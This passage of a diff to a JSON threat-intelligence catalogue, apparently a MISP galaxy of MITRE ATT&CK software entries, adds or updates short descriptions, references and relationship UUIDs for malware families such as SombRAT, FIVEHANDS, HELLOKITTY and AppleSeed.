"uuid": "959f3b19-2dc8-48d5-8942-c66813a5101a",
"value": "WellMail - S0515"
},
+ {
+ "description": "[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)",
+ "meta": {
+ "external_id": "S0615",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0615",
+ "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced",
+ "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html",
+ "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
+ ],
+ "synonyms": [
+ "SombRAT"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "425771c5-48b4-4ecd-9f95-74ed3fc9da59",
+ "value": "SombRAT - S0615"
+ },
+ {
+ "description": "[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)",
+ "meta": {
+ "external_id": "S0651",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0651",
+ "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/",
+ "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html"
+ ],
+ "synonyms": [
+ "BoxCaon"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "919a056e-5104-43b9-ad55-2ac929108b71",
+ "value": "BoxCaon - S0651"
+ },
{
"description": "[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)",
"meta": {
@@ -29404,7 +32984,7 @@
"value": "KOMPROGO - S0156"
},
{
- "description": "[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Unit 42 NETWIRE April 2020)",
+ "description": "[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)",
"meta": {
"external_id": "S0561",
"mitre_platforms": [
@@ -29412,7 +32992,8 @@
],
"refs": [
"https://attack.mitre.org/software/S0561",
- "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/"
+ "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
+ "https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4"
],
"synonyms": [
"GuLoader"
@@ -29460,6 +33041,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "45c759ac-b490-48bb-80d4-c8eee3431027",
@@ -29962,6 +33585,89 @@
"uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870",
"value": "SNUGRIDE - S0159"
},
+ {
+ "description": "[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)",
+ "meta": {
+ "external_id": "S0616",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0616",
+ "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+ ],
+ "synonyms": [
+ "DEATHRANSOM"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "6de9cad1-eed2-4e27-b0b5-39fa29349ea0",
+ "value": "DEATHRANSOM - S0616"
+ },
{
"description": "[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)",
"meta": {
@@ -30003,6 +33709,68 @@
"uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26",
"value": "RemoteCMD - S0166"
},
+ {
+ "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)",
+ "meta": {
+ "external_id": "S0617",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0617",
+ "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+ ],
+ "synonyms": [
+ "HELLOKITTY"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "5d11d418-95dd-4377-b782-23160dfa17b4",
+ "value": "HELLOKITTY - S0617"
+ },
{
"description": "[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
"meta": {
@@ -30179,6 +33947,83 @@
"uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654",
"value": "Wingbird - S0176"
},
+ {
+ "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)",
+ "meta": {
+ "external_id": "S0618",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0618",
+ "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html",
+ "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/"
+ ],
+ "synonyms": [
+ "FIVEHANDS"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "f464354c-7103-47c6-969b-8766f0157ed2",
+ "value": "FIVEHANDS - S0618"
+ },
{
"description": "[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)",
"meta": {
@@ -30872,7 +34717,7 @@
"value": "Starloader - S0188"
},
{
- "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)",
+ "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)",
"meta": {
"external_id": "S0198",
"mitre_platforms": [
@@ -31164,13 +35009,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
"tags": [
@@ -31198,6 +35036,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "2a70812b-f1ef-44db-8578-a496a227aef2",
@@ -31778,6 +35623,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "04227b24-7817-4de1-9050-b7b1b57f5866",
@@ -31938,6 +35790,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "a3c59d82-2c7c-44e5-a869-68e0a3e5935e",
@@ -32069,6 +35928,223 @@
"uuid": "c91cec55-634c-4670-ba10-2dc7ceb28e98",
"value": "Exobot - S0522"
},
+ {
+ "description": "[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)",
+ "meta": {
+ "external_id": "S0622",
+ "mitre_platforms": [
+ "Windows",
+ "Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0622",
+ "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
+ ],
+ "synonyms": [
+ "AppleSeed"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "295721d2-ee20-4fa3-ade3-37f4146b4570",
+ "value": "AppleSeed - S0622"
+ },
{
"description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)",
"meta": {
@@ -32731,7 +36807,7 @@
"value": "Bread - S0432"
},
{
- "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).",
+ "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)",
"meta": {
"external_id": "S0234",
"mitre_platforms": [
@@ -32740,7 +36816,8 @@
"refs": [
"https://attack.mitre.org/software/S0234",
"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf",
- "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
+ "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
+ "https://research.checkpoint.com/2020/bandook-signed-delivered/"
],
"synonyms": [
"Bandook"
@@ -32788,6 +36865,146 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
